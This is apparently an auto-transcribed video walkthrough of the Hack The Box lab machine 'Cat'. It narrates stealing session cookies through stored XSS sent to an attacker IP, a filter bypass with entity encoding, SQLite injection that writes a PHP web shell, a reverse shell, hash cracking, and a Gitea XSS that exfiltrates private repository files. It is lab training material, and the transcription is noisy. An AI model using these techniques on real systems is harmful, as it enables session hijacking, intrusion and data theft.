What's going on YouTube? This is IPSC and we're doing cat from hack the box which is a really great box for some cross-ite scripting practice. It starts off with a custom web app that doesn't have HTTP only set on the cookies and there's two ways we can trigger the cross-ite scripting. Either through a submission on a form which has some filters we have to bypass or if we sign up with an XSS payload and our username we can bypass the filter altogether. This gets us an administrator cookie which we can perform an SQLite injection. The website does have.get get exposed. So we can pull the source code and then scan it with open grip or sneak to find that vulnerability which we'll exploit with two ways. Once with SQL map and the other manually by abusing the SQL light injection to write a web shell. Once on the box we see an old

HackTheBox - Cat


version of git t is running which is vulnerable to cross- sight scripting but it's git t so the http only cookie is set. Uh so we can't just steal the session. We can however use cross- sight request forgery to navigate to a project on git t and send us the results of that page leaking source code which gets us the root credentials. So with that being said let's just jump in. As always we're going to start with an end map. So - sc for default scripts sv enumerate versions vv for double verb boost. This gives us things like the ttl o a output all formats put in the end mapap directory and call it cat. And then the IP address of 1010 111.53. This can take some time to run so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22. And the banner

HackTheBox - Cat


tells us it's an Ubuntu server. The second port is HTTP on port 80. And the banner also tells us it's Ubuntu and redirecting us to cat.htb.

HackTheBox - Cat


So let's go ahead and add this to our host file. So pseudo v etsy host. And then we can add 10 10 1153 cat.htb. Save that. And let's go ahead and take a look at the page. So I'm going to go HTTP cat.htb and we get a page that just says welcome to the best cat competition. We can click around. There is vote that says voting is currently disabled. If we click the buttons, it doesn't look like anything's happening. Uh going to contest, we can register. We can look at winners and clicking join. It looks like we can register as well. So before we start going any deeper, I want to quickly just run a go buster. And we see um it is a PHP server as there is a PHP extension. So I'm going to do a go buster. Then we'll do a dash uh diir for directory mode. U for URL HTTP cat.htb extension php and word list. We'll do optlist discovery.

HackTheBox - Cat


Um web content then raft small words.ext text and I would also probably run a um virtual host enumeration as well after this is complete if we don't really have anything. The thing that sticks out right off the bat is um config.php. That's a status 200 but size is one. So we're not really getting any information out of there. Um but slashuploads really sticks out to me. So I'm going to go ahead and take a look at the slashuploads. So if we go to cat.htbuploads htbuploads.

HackTheBox - Cat


Uh, we just get a forbidden. I was hoping to be like an um open directory listing because if we upload it to the website, then we could easily um find our file, right? So, let's go ahead and register. I'm going to do IPSC then root at IPSC.rocks. And the password I'll just do as password. We register. It says I'm successfully registered. I'll click have an account. Then we can do IPSC password to log in.

HackTheBox - Cat


And let's see. The first thing I want to look at is just my cookies on the page. It's just a standard PHP session ID.

HackTheBox - Cat


HTTP only is set to false. So it' be really easy to steal cookies through cross- site scripting attacks, but we'll keep that in the back of our minds for now. So now let's go over to contest. And it looks like this is where we may be able to upload since there's a cat photo. So cat name. Um, we'll just do test. I wish I could think of a good pun there. Cat age, cat birthday. It's kind of funny. They're asking for age and birthday since they could just calculate that, right? Um cat, weight, whatever.

HackTheBox - Cat


Uh we need to get a um image here. So I'm just going to uh find an image on my box. So we'll do find uh probably one out of user share would be there. Uh name star.jpeg.

HackTheBox - Cat


Uh let's see. Not named name. There we go. Looking over. Oh, we have a bunch of names already. I was gonna say let's go ahead and look at a results of go buster if this took its bit to run but we've got it already. So let's copy the results here. There we go. We got image one.jpeg.

HackTheBox - Cat


Awesome. And I am actually going to intercept this request just so I can see the data it sends. Um that will be handy later on potentially.

HackTheBox - Cat


Um looking at it, it's just the web form, right? But if we wanted to manipulate this request, we now easily can. Uh, we uploaded image one.jpeg, right? So, what I want to do is see if I can go to uploads and then image one JPEG. And I think my intercept is still on. It is. We'll turn that off. And not found. Um, so it's not just giving the raw file name there. We have to figure out the naming convention if we want to attack that more. Let's go back to our Go Buster results. Do we have anything really of interesting? Uh, get stands out. Um, that is a 301. So, if I go to cat.htb.get, we get a forbidden. I'm going to run a tool called get dumper. If you don't have it, you can just do like a pip x install get-dumper, I believe. But if I run this, we'll do get dumper. Give it the URL, I think, and then the

HackTheBox - Cat


directory we want to save it to. I'm just going to call it source. And then it's going to download that.get directory and then copy it over here. So now we have the source code of this web application. So what I want to do is look at the upload code just to see if there's any vulnerabilities there because it is a PHP application. Uploads is a big attack vector there. It's posting to contest.php. So let's take a look at contest.php.

HackTheBox - Cat


We can look at upload and this is probably going to be where it's at. So let's see. We set the target directory the file and it's doing image identifier. So this is what we have to find out what is image identifier. So if I do image ident it is going to be unique ID. So I'm going to go over to PHP and Google unique ID and we'll go over to this man page probably for this function and see how it generates. And it looks like we could easily um brute force this, right? because it's not random. It's the current time with microscond precision. Um, so we can easily um guess the file name this way.

HackTheBox - Cat


But later on it's doing a path info on extension. So this is going to grab the extension of the file. And I'm guessing this is going to be where the comparison is, right? So if we look at this, uh, let's see where is it going to use the path extension. There we go. So we have image file type only looking for these extensions. So code execution is um blocked for us.

HackTheBox - Cat


There is a possibility that Apache or EngineX whatever was running on the server is horribly configured and would execute code with these extensions but I haven't seen that in like a decade on servers. So I'm not going to test for that right away. Um if I get in a big uh roadblock then I would go down this format uh this path. The reason why I'm not going down it right now is because even though we can brute force that unique ID, it is not super trivial. It'll probably take 10 minutes probably to write up a script to do something like that. So, um I'm just going to put that on the back burner. Right, we have all the source code here. We could do some code analysis things, but I'm going to save that for a little bit. Um the other thing we could test for is like cross- sight scripting, right? And there's going to be two paths here. If

HackTheBox - Cat


we try to put cross-sight scripting payload here, if we just um how do I burp sweetite? This may be easier. So if we did like a script source is equal to um if I just do this, it'll probably error out for us, right? Send this request. Do we have anything? Um it says your entry contains valid invalid characters, right? So there is a check there. If I just grip the source code for this, we'll be able to see that's in contest.php still. So go back into this file um your entry. There we go.

HackTheBox - Cat


So what it's doing is checking cat name, age, birth date, and weight for invalid characters. And it has this string, right? um it's only checking those if the page does have like username checking like if the username is on the crossstate scripting page then um the check contains forbidden characters is probably not checking that. So that's going to be where I start. Um let's see grap contains I just want to see if that's used anywhere else.

HackTheBox - Cat


So, I'm going to grab- r this and no, it's only used on contest.php. We could look at the source to see exactly um where it is. I'm not sure what page. It's probably on like accept cat or something like that, but I'm just going to create a new user now with some cross-ite scripting to see if we get lucky. Right. So, I'm going to do uh join. And normally I would just do like a bold and then username and then look at it on the page to see if I see it anywhere. But the name isn't actually reflected back to us. So we can't do that really. But I'm going to do um username is script source. Then we can do http 101048 port 8000. Uh I'll call it pone.js.

HackTheBox - Cat


And then we can do slashcript. I'm going to copy that to my clipboard.

HackTheBox - Cat


We'll do route 2 at ipsseack.rocks and then password as password and we'll see if it lets us register and log in.

HackTheBox - Cat


And we also should do a nc lvmp 8000.

HackTheBox - Cat


And then let's log in with this account password. There we go.

HackTheBox - Cat


And I'm going to send another request.

HackTheBox - Cat


Let's now upload I guess the same thing. Register cat. It's been submitted. And I'm going to see if we get any hits here. Um there we go. It is attempting to load pone.js.

HackTheBox - Cat


So that is good for us. So what I want to do is um we can keep that name, I guess. And we'll do make dubdubdubdub and then vp pone.js. js. We could also put this as a username, but um might as well just do it here. We'll do a document.right, and we're going to write image source is equal to http 10 10148. And I'm going to actually use single quotes there. Um port 8000.

HackTheBox - Cat


And let's see. Uh probably don't need a single quote.

HackTheBox - Cat


Okay, like this. And then I'm going to do plus um is it document.cookie or document.cookies? I can never keep that straight. Uh I think it's let's see if I go here console. Uh, is it I think if I just do document dot cookie. It's just document.cookie.

HackTheBox - Cat


Awesome. I think this is all I need. Hopefully that works. Yeah, let's just stamp the server. So, we'll do Python 3-m http server. We have that now running. Let's do another upload and we'll see if it gets triggered.

HackTheBox - Cat


Has been set for inspection. It got parent.js, but it is not loading.

HackTheBox - Cat


Let's see. So, we write Wonder if I screwed something.

HackTheBox - Cat


Oh, I don't need that single quote there. Whoops.

HackTheBox - Cat


Okay, let's test this image one. Register. Hopefully this time it works. Waiting for it to do another get. There we go. And now we have the PHP session. And it looks like it's sending us maybe a little bit more. I'm going to URL decode this. So we can just go to burp suites decoder smart decode. And that BR is not part of it.

HackTheBox - Cat


Right. So if I copy this, we can now go into our storage cookies and set the PHP session to be this. Refresh the page.

HackTheBox - Cat


And now we're admin, right? Um, if we wanted to, we can also exploit this a different way, right? So, I'm going to show the other way. And this one's going to be the intended way to exploit it.

HackTheBox - Cat


So, if we dose, um, I probably already have an account, right? Unless it wiped it. Let's test.

HackTheBox - Cat


IPSSAC password. Okay, let's register an account. IPSSAC roots. password register successful IPSC password. So the intended way is actually to inject cross a scripting bypassing the filter. So we'll do catname task one one and let's browse this image one.

HackTheBox - Cat


We will intercept this request. send this over to repeater.

HackTheBox - Cat


Okay, so we won't be getting any more sessions because our username does not have that cross-sight scripting payload. So, how are we going to um bypass this? Well, let's see. Uh what is it? Trying to think the best way to explain it. I'm going to go back into the source and let's go into contest and we'll look at the bad characters.

HackTheBox - Cat


So, looking at this, some of the key things that aren't excluded is probably going to be these brackets. Um, additionally, it doesn't look like double quote is excluded.

HackTheBox - Cat


So what we can do is encode a request. So we'll be able to use HTML entity encoding in order to bypass um any filters because uh let's just go cyber chef and show what HTML any encoding looks like.

HackTheBox - Cat


Probably have to turn intercept off.

HackTheBox - Cat


Let's see.

HackTheBox - Cat


Just disable Foxy proxy for now. Cyber Chef GCH HQ. I should really just put this on my bookmark bar. There we go.

HackTheBox - Cat


And once this loads, we should be able to um put in an input ipsac and then encode HTML, let's see, to HTML entity and convert all characters. So, this is going to be HTML any encoding and JavaScript will magically um undo this, I believe. Let's see where is this being used.

HackTheBox - Cat


Let's see. Join vote.

HackTheBox - Cat


It's probably going to be um view, right? Because viewcat is probably where um everything is viewed, I guess. Let's see. This is where it's set. And right here, um, it looks like viewcat is only available to the admin. Um, or wait, this is or. So if so, username is set or session. Oh, so if there is a username set and it's not axle, then it's going to redirect to join.php PHP or not set. Okay. So if we go down here, let's see.

HackTheBox - Cat


This is going to be where it is echoed. So we have cat photo path, cat name, and whatever. So this is where I think we are injecting into the cross-ite scripting. Um, so we're injecting probably into image source with the photo path or cat name. So what we'll have to do is change this to be entity encoded. So um, let's see. So if we inject into the name, I'm going to put a double quote and then I'm going to do on error is equal to and then I can do JavaScript code here, right? Um I don't think I can load a external script source. So that's where we're just going to do the document.right, but this is going to be where we put it. And we should be able to just do it in entity encoding and have it work. So that's going to be what I try. And I haven't done this one actually yet. That's just a assumption.

HackTheBox - Cat


Um, when I solved the box, I did it through the username and then saw this was the intended way, but haven't actually done it. So, hopefully it all works live. What I'm going to do is copy this. We're going to grab it. Then I'm going to paste this in.

HackTheBox - Cat


And we want to close out the name. Then we're going to do on error is equal to and I think we can do this and wait is the bad character I think we can actually use double quotes. I think we only want to encode this. Um, let's see.

HackTheBox - Cat


And I'm actually going to use fetch. We don't have to do a document, right? We can just do fetch like this. HTTP. That should be fine.

HackTheBox - Cat


Okay, I think this is what we want. So, I'm going to go to Burpswuite. We have it on repeater. This is going to be I'm just going to send this. I want to make sure it doesn't send my cross-sight scripting payload. I'm not exactly sure if um what session this is if this is my IPS session or if this is the session that has the crossage scripting itself. I'm not getting a request. So I think this is a good one to do it on. So the cat name we're going to put a single quote on error is equal to paste in our payload. And let's see I don't have the trailing quote. I think it's going to put that for me.

HackTheBox - Cat


So this should work. I'm not getting a hit back. So this is definitely the right name. I'm going to send it and hopefully we get a hit in a second.

HackTheBox - Cat


I wonder if I can view if I try to view cat. I probably don't know the ID I need to get right.

HackTheBox - Cat


See, that does not look like it hit. Does this say invalid characters?

HackTheBox - Cat


It does.

HackTheBox - Cat


So you probably have to encode more, right?

HackTheBox - Cat


Auto scroll. What are the invalid CD source contest?

HackTheBox - Cat


Okay, what one did we use? We're not using a Oh, that's any. So, plus there is no plus.

HackTheBox - Cat


We're using double quotes. That is not on here.

HackTheBox - Cat


Oh, we have a semicolon. Semicolon's a bad character.

HackTheBox - Cat


I guess we have to strip those out or something.

HackTheBox - Cat


So let's see what happens if we just remove semicolons because I don't think that is needed for it. Uh so we can do replace go here semicolon with nothing.

HackTheBox - Cat


Um match all.

HackTheBox - Cat


Oh, I have a quote. I don't know why I did that.

HackTheBox - Cat


Let's try this payload. Paste this.

HackTheBox - Cat


There's no more invalid hit. And I am still listening.

HackTheBox - Cat


So hopefully we get a hit back in a couple seconds. But it doesn't look like it. So we have something else wrong.

HackTheBox - Cat


Um looking at the payload. We're doing test. Oh, I think I see it. Um, we're doing double quotes inside of fetch. And we also have double quotes here. I'm guessing that's what's breaking it. So, I'm going to change this to be single quotes.

HackTheBox - Cat


And now, let's send this. So, we can change this payload now.

HackTheBox - Cat


Whoops. Don't want to do everything. Send it.

HackTheBox - Cat


don't have invalid. Still looking here. Hopefully we get a hit.

HackTheBox - Cat


Doesn't look like it. Um, we can try changing to be hex entities.

HackTheBox - Cat


Um, maybe named entities requires a semicolon and hex would not because hex is always going to be two characters.

HackTheBox - Cat


Um, this is also a possibility. So, we can paste this one.

HackTheBox - Cat


Send that. Still not getting any errors, but we're not getting a hit.

HackTheBox - Cat


Let's see. Wonder if I need to put a quote there and then we can do this. I can't imagine this fixing it because all the page is going to do is do a semi double quote and space. Oh, we got a hit. We didn't even send this one. So, I just was not patient enough. So, this payload worked.

HackTheBox - Cat


We have to do it in hex encoding probably because um we remove the semicolons and there's probably like a regular expression there for like when it's decoding it does the amperand uh pound sign x and then two characters and when it's coded as named entities it doesn't easily have that ability because we have like two characters there some string here so it uses that semicolon probably to um as a terminator right so that's probably what fixed it is changing it get to hex and then the page adds that um parenthesy and goes on. But that was the other way to do acrosate scripting. Much harder than just putting it in with the username because you have to bypass it and then you also have to trigger it within that HTML. But there we go. We have now um done the crossade scripting two different ways. So, let's go ahead put this as our cookie.

HackTheBox - Cat


And then we can just refresh. And we got admin. Now, this piece is a bit harder to find. Um, if we had loaded up this code in sneak, it would automatically find. I'm going to see if I'm logged in. Um, hopefully I am. And either way, I'm going to show a different tool in case you don't want to use like cloud AI stuff for processing data. I'm assuming Sneak is pretty much using this on the back end. Um, yes, I trust the authors.

HackTheBox - Cat


Please say I'm logged in. Yes, it is looking like it's running. Uh, okay. Sweet. When it said connect workspace, I got a little bit worried. But it's looking the at the code for vulnerabilities hopefully. There we go. Finds them pretty quickly. We have a SQL injection inside of except cat. Um, we don't need that. Don't need that. And here we can see the vulnerability right um it's doing exec right here we have cat name just being straight um in the parameter the correct way to do it would be using a prepared statement and they do that here with the delete from see we can see um in the actual SQL they do a colon cat ID and then they're calling bind parameter looking for that variable and then inputting it right here. Right? So this is the correct way to do it because you won't be able to use any escapes to do SQL injection. But

HackTheBox - Cat


here they're not doing that. Right? So they just hand jam the straight post data into it. Now if you didn't want to use sneak um there is a tool called open grep which is a fork of seam grep. Um it's a long complicated story I think. Essentially, SEGP is um going more commercial now because people keep using its code for profit because the licensing did not prohibit that. So, they're locking some features away behind a payw wall. So, it got essentially forked into OpenG. Um, which is the more free version. So, that's going to be the one I show. Um, I already ran the install with this command on my box. And the other thing we need is open GP rules in order to have this work. So I'm just going to grab all the rules here. So what I'm going to do is a get clone open gp rules. There we go. So I can run open grep

HackTheBox - Cat


scan-f and then my rules. So if I look at the open gp rules, we can see what they have. I'm going to use the PHP rule set. So we can do um let's see open grip rules PHP and then I'm going to specify the source directory to scan and it should automatically load these rules and then give me some output. Right here we go. So it looks like it found four code findings. Let's compare to what sneak found. It has five issues. So we have SQL injection information exposure on config.php PHP pass reversal on delete and then two use of password hashes. That's going to be MD5 on join. So let's see. We have the SQL injection. So it caught that. We have the um I'm guessing this is the past reversal. User input detected when unlink. So we have the patch reversal right there. Um, weak crypto on join.php. So, it's found that MD5 as well.

HackTheBox - Cat


I thought it said four. I see three findings.

HackTheBox - Cat


Huh. Maybe there's a flag I can do to show the fourth one. I don't know. Um, that's weird. But the key thing is finding the SQL injection. And there's going to be two ways we can exploit this. Um the first is going to be the more common way which is just SQL map. So let's see that was on um accept cat right and let's see we're on accept cat we make sure we're the axle user um and it the vulnerable parameter is cat name right so let's go ahead and trigger this so if we go admin hopefully it shows up here. Let's just do create another cat real quick. Submit admin. There we go. We got accept. I'm going to turn my intercept back on.

HackTheBox - Cat


Let's see. Proxy intercept on.

HackTheBox - Cat


Accept. Yes, I want to. And we have the request here. So, I'm going to uh let's see. Copy the file HTTP uh do it here. htb not critical ops cat. And I'll call this accept request.

HackTheBox - Cat


And let's see, I want to see what database this is using. That's probably going to be in I guess config. Um DB filecat db SQL light. So we know this is going to be SQL light. We don't have to know this. It's just going to make it go a lot faster, right? Um so we'll do SQL map. I think it's lowercase R for it's request file. Um accept request parameter was cat name. I want to say DBMS SQL light.

HackTheBox - Cat


Um, run this and we'll see if it finds it. Uh, let's see.

HackTheBox - Cat


Looks like it did. So, we can do level five risk three. Oh, it found it. Um, I actually think it found it so quickly because it's already cached. So, let me clear this real quick. So, go in here.

HackTheBox - Cat


I'm just going to delete this. There is a query in SQL Map to make sure it's fresh queries. Um, let's see. I probably should have done like batch mode. So, it doesn't look like it finds it this way. We have to do level five risk three. And I probably should have turned batch mode on there, but this time hopefully it finds it. It thinks it might not be injectable. It's doing more queries. We're doing time based blind, I guess. Let's see. Checking if it's false. Um, it is vulnerable. Do I want to keep testing others? Nope. So, there we go. We have found it. So, I'm just going to run the d-dump and see if we start getting data. It looks like we are. So, here we go. It is now starting to dump all the data out of the database. There is a second way we can kind of exploit this injection. Um, let's see. SQL light rce.

HackTheBox - Cat


I'm going to see if I can find the cheat sheet quickly. It's probably end up like payload all the things. Um, let's see. Payload all the things. SQL light. Maybe this will find it faster. disable burp sweep payload all the things did not go to the SQLite directory unfortunately let's see SQL no SQL injection see inject there we go does this go into things no SQL SQL light injections. Okay, so remote code execution attach database. This is essentially what we want to do. We attach the database which creates a file. So it's going to create l.php as a database file. Then we create the table and then we can insert data into this table. So this is going to be what we want to do. So I'm going to go back to my accept cat. I'm going to put cat name at the end just so it's easier to read. So we can delete that.

HackTheBox - Cat


Here we go. So let's go look at the code again because that dump command is going to take a while. I just wanted to show how it works.

HackTheBox - Cat


So view cat and let's see.

HackTheBox - Cat


Uh where is it? Cat name.

HackTheBox - Cat


It's not view cat, it's accept cat. There we go.

HackTheBox - Cat


So the query it is using a single quote and a parenthesy. So we'll do single quote parenthesy and then we'll do a semicolon. And now we can just pretty much have this. And this is only going to work if the web user has right access to a file, right? Um, so if I just run this now, let's see what happens.

HackTheBox - Cat


Um, access is denied. Let's see.

HackTheBox - Cat


Actually did not expect that. Templ denied. Is my cookie bed?

HackTheBox - Cat


Let's see.

HackTheBox - Cat


Forbidden. Let us disable.

HackTheBox - Cat


I am no longer admin. So I think something happened to my cookie which is annoying. So I guess we should get a another one. And that's probably why my SQL map started erroring. I'm guessing one of the cleanup scripts um updated a cookie and expired the old one, which unfortunately means we have to grab another cookie. Uh, yep. Let's do ipsack root atipsack.ro password.

HackTheBox - Cat


IPSC password log in. Let's grab a cookie here. Session ID.

HackTheBox - Cat


This payload worked. We can paste that.

HackTheBox - Cat


VMP 8,000. Send. This should get us a new cookie hopefully. Give it like 10 seconds. It should work.

HackTheBox - Cat


Let's see. It's not saying invalid. Um, we shouldn't have that quote at the end of that though, I don't think. Because it adds the quote for us.

HackTheBox - Cat


Come on. And there we go. We have it. So, let's copy this cookie now. And then we will paste this here. Rerun this. And there we go. We have a 500 internal server error. And that's probably because this directory is not writable or it doesn't exist. Right? If we try writing to where we probably have access like dev shm we have the cat has been accepted. So this is a good way to identify if we can write there. Right? So I'm going to do ver dubdubdub html and it doesn't look like we can write there. Um we could do html uploads because that's where we're writing to. So we know that is writable and we still can't. So, I'm guessing the um document route is probably not verdubdub or ver dubdubdubh. Another one that's common is going to be just the domain name. So, you can do cat not writable cat.htb

HackTheBox - Cat


and there we go. We have successfully written to ver dubdubdub cat.htb uploads lol.php.

HackTheBox - Cat


So now if we try going to it and if you're confused this is super common with virtual host normally like it's um virtual host under dubdubdub uh for the thing. Sometimes it doesn't have the domain extension sometimes it does. The key thing is um enumerating a way to find out if you can write versus can't write. Then you can now just play the guessing game. So let's go ahead and try writing here. I'm going to turn burpuite off. We can now go to uploads lol.php and we have the SQL light um database. Now the parameter we wrote is saying get system cmd. So if I do cmd is equal to ID, we can now see we have the ID here.

HackTheBox - Cat


I'm going to change this because I like doing it in the post request. So, I'm just going to do request and then I'm going to create um parent.php because I don't know if we can overwrite the file.

HackTheBox - Cat


So, that's why I'm just going to give it a second one. And now I can put my command in either the um get portion or post portion. So, I'm going to go back to proxy turn intercept I should have turn left it on. My bad. Uh go to burpswuite on send. go to repeater and I'm going to change request method. So now it's in this which just means there's less bad characters we have to worry about. So we can now um send a reverse shell zero and one like that. Highlight this.

HackTheBox - Cat


Control-U to URL encode NCVNP 90001. Send. Catch the shell.

HackTheBox - Cat


Python 3 import pty pty spawn. And what I'm doing here is just um getting a better terminal where I can do um clearing screen tab auto completes things like that. Right. So we do raw echo foreground enter.

HackTheBox - Cat


And then export term is equal to xterm. There we go. Now I can clear the screen and everything. And we have a shell on the box. And whenever I p a web server, I always like looking for the database to get hashes and try to crack them. So if we do, I'm looking for that SQLite database. Uh let's do find-ame star db.

HackTheBox - Cat


It's not there. That was in config. So it looks like it's in / databases.

HackTheBox - Cat


Okay. So we can do SQLite3 databases cat. DB. We could just run dump and get them, but I like doing schema. And we can say select username password from users. And here we go. And sneak um was telling us this was MD5 encrypted or MD5 hashed. Uh, we could validate that, but I don't think we have to. So, we just send this. Um, if we cat it, we could just like word count. If this is 32 characters, um, chances are it's MD5, right? So, let's see. Since they're not salted, what I'm going to do is just send them to crack station and see what cracks. So we'll do uh dash f on that print two. There we go. Now we just have a list of all the hashes.

HackTheBox - Cat


Is that really one? That is odd that it's short. Um echo- n wcc.

HackTheBox - Cat


That's bizarre. Um I'm guessing they were all hand jammed in. I don't know why that hash is two characters shorter. Let's see. Crackstation. Um, I don't know if it's com or net. Burp suite is still on.

HackTheBox - Cat


There we go. It looks like it is.net. So, we can send up to 20 hashes. I don't think we have 20 there. Uh, let's see. Motorcycles.

HackTheBox - Cat


There we go. And we have two hits. um password which this is my password. Remember we registered for that. And then we have AC3. So I'm going to grap for this on users.ext and we have that password as roses. So if we cat etsy pass wd uh let's grab everything that ends in sh.

HackTheBox - Cat


Uh just do it this way. Uh we have users root, axle, rosa, git, and job. So we have Ros's password. If we now um try ssh rosa cat.htb.

HackTheBox - Cat


Let's copy this password. Paste it in uh vcreds.ext.

HackTheBox - Cat


Let's just save this. There we go.

HackTheBox - Cat


We get in. And if we SSH into the box, um, never mind. Um, we are Rosa.

HackTheBox - Cat


And if we look at the groups, we're a member of ADM. And there was something I missed when we're looking through the application, right? Um, if we go all the way back, let's register a new account here. Uh, not found. Whoops.

HackTheBox - Cat


If we're looking at how the application works, if I go to join, come on. Let's just say we have an account, probably don't anymore, but that is not key, right? If I now intercept, we look at this request. We're passing credentials over the get parameter. And the get parameter is logged, right? So this should all be in a post request because if they're in gits all the credentials go to logs and if it's a member of the ADM group we can definitely read logs. So if we go in via log and then Apache 2 then we can cat access.log um let's just do a grap was it join.php PHP. There we go s um let's see we can see username axle and login password and we get this string. So we can do a su switch to the axle user with this password and we log right in. Now there is something I want to mention. If we su to the user you see we don't get any welcome banner. If I SSH

HackTheBox - Cat


as axelcat.htb, we get the login banner and it also tells us we have mail. And this is going to be somewhat key. So if we cat vermail male axle, we can read the message that talks about um get t um and it's kind of critical because this is telling us that someone um is going to check their mail on the box and navigate to get repos um at a URL. Right? So what I want to do is set up a tunnel.

HackTheBox - Cat


So, I'm going to do -L 3000 127001 3000. And I'm just doing that because it told us get T was running at this port. We could have also just done like an SSLTP saw 3000 and decided we want to look into it. Um, let's see. D-forest looks like we can't see processes from other users, but I bet if I go to Etsy GP-R300, are we going to see get T here? uh mime types moduli does not look like it.

HackTheBox - Cat


But since I did my port forward now I can go to localhost 3000.

HackTheBox - Cat


Um we'll turn burp suite off. There we go.

HackTheBox - Cat


And we get to the get t and it tells us the version down here. So, if we Google get t um this exploit, we'll probably find things right off the bat. Uh stored cross-ite scripting.

HackTheBox - Cat


Let's see. Do we have like a proof of concept understanding? Okay. So, what it is is we put this does it say description anywhere? Yeah, we put that payload in the repository description. So, we have to first log in and I'm going to try axle and let's grab that password. I probably should have put this in creds.ext.

HackTheBox - Cat


So, we'll show how the vulnerability works and then we will exploit it or we'll send it to the user, right? Um, I'm going to call the repository pone. And then it wants us to put something in the payload. And this is the same thing from the repository. But we can see login create a new repository in the description. Put this under the thing.

HackTheBox - Cat


Uh, new repository. We'll put that description. Create.

HackTheBox - Cat


and we don't have any hits. And where this actually exploits is if they click the description of this XSS test. So if I went to the repository by clicking the description, boom, we have that alert.

HackTheBox - Cat


And all that's doing, if you can see in the bottom left of my screen, I know it's small. It's just putting JavaScript colon alert there. So that is going to be where we have to inject the code.

HackTheBox - Cat


So, let's see what we have to do. And we're going to steal the cookie. And it's going to be well, we're not going to steal the cookie because um this is get t. Uh I misspoke, right? If we go here, look at the cookies, we see http only is set to true. Um the mail kind of told us the location of one repository. Let's do cat var mail axle. So, we have this repository. So, what we want to do is control the victim's browser, navigate to this repository, and send it back to us. So, I'm going to go to chat GPT real quick. Uh, let's turn burpuite off and then ask it if it can give me a oneliner. So, let's see.

HackTheBox - Cat


Can you give me a JavaScript oneliner that will navigate to a page and then send the result back to me via a post.

HackTheBox - Cat


There we go. So, we have a oneliner of a cross-ite scripting thing we can send.

HackTheBox - Cat


So, I'm going to copy this and then I just want to go to get t and I'm going to play with this in my browser.

HackTheBox - Cat


So, let's see. V pone.js. Let's paste this. And what we want to do is fetch this page. So, I'm just going to fetch localhost axle. And then I'm going to send the results to me. So we'll do HTTP and we'll just do 10 1048 8,000. And we'll do method post. That should be fine. I don't know if we have to send it as JSON. Eh, we'll try this.

HackTheBox - Cat


That's the downside with um using AI. Sometimes it goes over complicated.

HackTheBox - Cat


But let's see what happens if I send it. Promise pending because it is sending um it's doing it options though and this is part of um cores. So we want to disable cores in the payload so it doesn't test um which endpoints are available. I could just tell ash chatgpt how do I disable cores but it is here in fetch we can just do mode then no cores and that should stop that. So now let's go ahead and copy this send Listen again.

HackTheBox - Cat


There we go. We have the payload. Um, I just wish it wasn't in JavaScript or JSON. Let's see. Can I quickly fix that?

HackTheBox - Cat


So, let's see. Um, we can get rid of headers.

HackTheBox - Cat


And then let's see how do we do this? We just need body probably just body text, right?

HackTheBox - Cat


Like that.

HackTheBox - Cat


Maybe uh cap pone having it not be JSON is just going to make it a bit easier for me to um open up in Firefox. It stops me from having to decode the JSON. Uh we have an error missing after argument. Let's see.

HackTheBox - Cat


And you send this as raw not JSON and disable cores on the post.

HackTheBox - Cat


Let's see.

HackTheBox - Cat


Okay. Hopefully this is fine.

HackTheBox - Cat


Uh method post it didn't it disable cores local host 3000 axle uh we have to get rid of https and this was just 10 10 148 8,000 mode. No cores.

HackTheBox - Cat


Oh, I guess I had a extra parenthesy here. So, I think that's what I wanted. But this should work.

HackTheBox - Cat


So, cat pone. Hopefully now this works and then we can send it off 8,000. Uh where is my get t pending? There we go. Now we just had the page. That's better. So vpone.

HackTheBox - Cat


What we want to do is grab this page. So, we'll copy this and we will replace this with that page.

HackTheBox - Cat


Okay, here's our good oneliner.

HackTheBox - Cat


And we want to start netcat.

HackTheBox - Cat


We'll refresh because I think this repository is actually gone now. Yep. So, we have to create it.

HackTheBox - Cat


So, we can do we'll call it pone still. And then the description.

HackTheBox - Cat


Let's see. We want to copy this and then we need to terminate it.

HackTheBox - Cat


I hope I have this payload correct.

HackTheBox - Cat


That's probably fine. I am going to save this.

HackTheBox - Cat


just so we have everything.

HackTheBox - Cat


Okay, let's create repository.

HackTheBox - Cat


And then we also have to create a file. If we don't um the XSSbot won't work. So that is a bit annoying, but you can't give it a empty repository.

HackTheBox - Cat


So now we just want to send um I think it's Gerbert that said it. So let's see. Uh let's be sure to clear description. Yep. Mail to Gerbert at localhost. So let's do echo this and we can send mail to Gerbert at localhost and hopefully they will take a look at my repository and when they do um if they click the description they will get a hit and it looks like um it got cleaned up. That is annoying. Let's go ahead and do this one last time. pone. Let's see.

HackTheBox - Cat


Grab this. Take this payload.

HackTheBox - Cat


Copy. Paste. Create.

HackTheBox - Cat


Give it a new file. Does not matter what the file is called.

HackTheBox - Cat


just has to be there. Okay, go back here. Send it and hopefully we get a hit. If not, I will click this link and see. Uh, we definitely probably won't. Um, just because this looks like bad JavaScript. If I click it, nothing is happening because this definitely does not look right. vone.js.

HackTheBox - Cat


Let's see. I'm going to put this in quotes like that. Maybe that's going to be better because the link should just say XSS test. Go to this repository. Um, we can do settings.

HackTheBox - Cat


Change the description. Update.

HackTheBox - Cat


That looks better. Let's send that mail again.

HackTheBox - Cat


And then give it um we give it 15 seconds. So when this finishes, if it uh we don't get a hit, I will go in and click this link. Let's just make sure it is still there. It is. Oh, there we go. We got a hit. Um, let's make sure that hit is the server and not me refreshing. Even though I didn't click the link, I'm pretty positive it's going to be the server. Oh man, this is big.

HackTheBox - Cat


Well, um, let's see. NC. There we go.

HackTheBox - Cat


see connection from. Yep. This is going to be the server. So, what I'm going to do is Oops. I want to copy everything.

HackTheBox - Cat


So, I'm going to go here. Nope. One more over.

HackTheBox - Cat


Mark it. Go all the way down.

HackTheBox - Cat


Vage.html. Paste that. Firefox page.html.

HackTheBox - Cat


And this should be a little bit easier to view. I guess all the images are broken, but we can see files in this repository. So, we have index.php, and that's what I want to grab. So, let's see. Does this file still exist? It does. Awesome.

HackTheBox - Cat


If I go to raw. So, it's raw branch main. And that's going to be the file we want to grab. So let's go back into pone.js.

HackTheBox - Cat


Going to go administrator employee management. And now we're going to specify raw branch main. And then index.php.

HackTheBox - Cat


There we go.

HackTheBox - Cat


cat pone. Let's go ahead and grab this payload nclvmpp 8000.

HackTheBox - Cat


See, let's go home or settings.

HackTheBox - Cat


Here it is description. So now we're going to try to leak the index.php file.

HackTheBox - Cat


